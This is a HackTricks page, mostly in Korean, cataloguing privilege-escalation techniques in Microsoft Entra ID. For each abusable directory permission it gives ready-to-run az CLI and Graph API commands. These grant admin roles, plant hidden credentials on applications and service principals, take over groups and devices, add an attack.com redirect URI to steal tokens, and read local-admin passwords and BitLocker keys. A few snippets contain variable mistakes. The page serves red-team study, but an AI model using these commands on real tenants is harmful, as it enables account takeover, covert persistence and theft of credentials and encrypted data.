Az - EntraID Privesc

Reading time: 11 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

note

Entra ID에 내장된 모든 세부 권한이 사용자 정의 역할에 사용될 수 있는 것은 아닙니다.

Roles

Role: Privileged Role Administrator

이 역할은 주체에게 역할을 할당하고 역할에 더 많은 권한을 부여할 수 있는 데 필요한 세부 권한을 포함합니다. 두 가지 작업 모두 권한 상승을 위해 악용될 수 있습니다.

  • 사용자에게 역할 할당:
bash
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • 역할에 더 많은 권한 추가:
bash
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Applications

microsoft.directory/applications/credentials/update

이것은 공격자가 기존 애플리케이션에 자격 증명(비밀번호 또는 인증서)을 추가할 수 있게 해줍니다. 애플리케이션에 권한이 있는 경우, 공격자는 해당 애플리케이션으로 인증하고 그 권한을 얻을 수 있습니다.

bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

이것은 applications/credentials/update와 동일한 작업을 허용하지만 단일 디렉터리 애플리케이션에 한정됩니다.

bash
az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

자신을 소유자로 추가함으로써 공격자는 애플리케이션을 조작할 수 있으며, 여기에는 자격 증명 및 권한이 포함됩니다.

bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

공격자는 테넌트의 사용자들이 사용하는 애플리케이션에 리디렉션 URI를 추가한 다음, 새로운 리디렉션 URL을 사용하는 로그인 URL을 공유하여 그들의 토큰을 훔칠 수 있습니다. 사용자가 이미 애플리케이션에 로그인한 경우, 인증은 사용자가 아무것도 수락할 필요 없이 자동으로 이루어집니다.

또한 애플리케이션이 요청하는 권한을 변경하여 더 많은 권한을 얻는 것도 가능하지만, 이 경우 사용자는 모든 권한을 요청하는 프롬프트를 다시 수락해야 합니다.

bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Service Principals

microsoft.directory/servicePrincipals/credentials/update

이것은 공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있게 해줍니다. 서비스 주체가 상승된 권한을 가지고 있다면, 공격자는 그 권한을 가질 수 있습니다.

bash
az ad sp credential reset --id <sp-id> --append

caution

새로 생성된 비밀번호는 웹 콘솔에 나타나지 않으므로, 이는 서비스 주체에 대한 지속성을 유지하는 은밀한 방법이 될 수 있습니다.
API에서 다음과 같이 찾을 수 있습니다: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

만약 "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."라는 오류가 발생하면, SP의 passwordCredentials 속성을 수정할 수 없기 때문입니다. 먼저 이를 잠금 해제해야 합니다. 이를 위해서는 다음을 실행할 수 있는 권한(microsoft.directory/applications/allProperties/update)이 필요합니다:

bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

이것은 공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있게 해줍니다. 서비스 주체가 상승된 권한을 가지고 있다면, 공격자는 그 권한을 가질 수 있습니다.

bash
az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

응용 프로그램과 유사하게, 이 권한은 서비스 주체에 더 많은 소유자를 추가할 수 있게 해줍니다. 서비스 주체를 소유하면 해당 자격 증명 및 권한을 제어할 수 있습니다.

bash
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

caution

새로운 소유자를 추가한 후, 이를 제거하려고 했지만 API는 DELETE 메서드가 지원되지 않는다고 응답했습니다. 소유자를 삭제하는 데 필요한 메서드임에도 불구하고 말이죠. 그래서 현재 소유자를 제거할 수 없습니다.

microsoft.directory/servicePrincipals/disableenable

이 권한은 서비스 주체를 비활성화하고 활성화할 수 있게 해줍니다. 공격자는 이 권한을 사용하여 접근할 수 있는 서비스 주체를 활성화하여 권한을 상승시킬 수 있습니다.

이 기술을 사용하기 위해 공격자는 활성화된 서비스 주체를 장악하기 위해 더 많은 권한이 필요하다는 점에 유의하세요.

bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

이 권한은 단일 로그인에 대한 자격 증명을 생성하고 가져올 수 있게 하여 타사 애플리케이션에 대한 액세스를 허용할 수 있습니다.

bash
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

애플리케이션 권한 상승

이 게시물에서 설명한 바와 같이 기본 애플리케이션에서 API 권한 유형 **Application**이 할당된 경우를 찾는 것은 매우 일반적입니다. Application 유형의 API 권한(Entra ID 콘솔에서 호출됨)은 애플리케이션이 사용자 컨텍스트(사용자가 앱에 로그인하지 않고) 없이 API에 접근할 수 있음을 의미하며, 이를 허용하기 위해 Entra ID 역할이 필요하지 않습니다. 따라서 모든 Entra ID 테넌트에서 높은 권한을 가진 애플리케이션을 찾는 것은 매우 일반적입니다.

따라서 공격자가 애플리케이션의 자격 증명(비밀 또는 인증서)을 업데이트할 수 있는 권한/역할을 가지고 있다면, 공격자는 새로운 자격 증명을 생성하고 이를 사용하여 애플리케이션으로 인증할 수 있으며, 애플리케이션이 가진 모든 권한을 얻을 수 있습니다.

언급된 블로그는 일반적인 Microsoft 기본 애플리케이션의 API 권한을 공유하지만, 이 보고서 이후 Microsoft는 이 문제를 수정하였고 이제는 Microsoft 애플리케이션으로 로그인할 수 없습니다. 그러나 여전히 악용될 수 있는 높은 권한을 가진 사용자 정의 애플리케이션을 찾는 것은 가능합니다.


그룹

microsoft.directory/groups/allProperties/update

이 권한은 사용자에게 특권 그룹에 추가할 수 있는 권한을 부여하여 권한 상승을 초래합니다.

bash
az ad group member add --group <GroupName> --member-id <UserId>

참고: 이 권한은 Entra ID 역할 할당 그룹을 제외합니다.

microsoft.directory/groups/owners/update

이 권한은 그룹의 소유자가 될 수 있게 해줍니다. 그룹의 소유자는 그룹 구성원 및 설정을 제어할 수 있으며, 잠재적으로 그룹에 대한 권한을 상승시킬 수 있습니다.

bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

참고: 이 권한은 Entra ID 역할 할당 가능 그룹을 제외합니다.

microsoft.directory/groups/members/update

이 권한은 그룹에 구성원을 추가할 수 있게 해줍니다. 공격자는 자신이나 악의적인 계정을 특권 그룹에 추가하여 상승된 접근 권한을 부여할 수 있습니다.

bash
az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

이 권한은 동적 그룹의 멤버십 규칙을 업데이트할 수 있게 해줍니다. 공격자는 동적 규칙을 수정하여 명시적인 추가 없이 자신을 권한이 있는 그룹에 포함시킬 수 있습니다.

bash
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

참고: 이 권한은 Entra ID 역할 할당 그룹을 제외합니다.

동적 그룹 권한 상승

사용자가 자신의 속성을 수정하여 동적 그룹의 구성원으로 추가될 수 있는 권한 상승이 가능할 수 있습니다. 자세한 내용은 다음을 확인하세요:

Az - Dynamic Groups Privesc

사용자

microsoft.directory/users/password/update

이 권한은 비관리자 사용자에게 비밀번호를 재설정할 수 있게 하여 잠재적인 공격자가 다른 사용자에게 권한을 상승시킬 수 있게 합니다. 이 권한은 사용자 정의 역할에 할당할 수 없습니다.

bash
az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

이 권한은 사용자의 속성을 수정할 수 있습니다. 속성 값에 따라 사용자를 추가하는 동적 그룹을 찾는 것이 일반적이므로, 이 권한은 사용자가 특정 동적 그룹의 구성원이 되기 위해 필요한 속성 값을 설정하고 권한을 상승시킬 수 있게 할 수 있습니다.

bash
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

조건부 액세스 정책 및 MFA 우회

잘못 구성된 MFA를 요구하는 조건부 액세스 정책은 우회될 수 있습니다. 확인하세요:

Az - Conditional Access Policies & MFA Bypass

장치

microsoft.directory/devices/registeredOwners/update

이 권한은 공격자가 장치의 소유자로 자신을 할당하여 장치 특정 설정 및 데이터에 대한 제어 또는 액세스를 얻을 수 있게 합니다.

bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

이 권한은 공격자가 자신의 계정을 장치와 연결하여 접근 권한을 얻거나 보안 정책을 우회할 수 있게 해줍니다.

bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

이 권한은 공격자가 Microsoft Entra에 가입된 장치의 백업된 로컬 관리자 계정 자격 증명의 속성을 읽을 수 있도록 하며, 여기에는 비밀번호가 포함됩니다.

bash
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

이 권한은 BitLocker 키에 접근할 수 있게 하며, 이는 공격자가 드라이브를 복호화하여 데이터 기밀성을 위협할 수 있게 합니다.

bash
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

다른 흥미로운 권한 (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기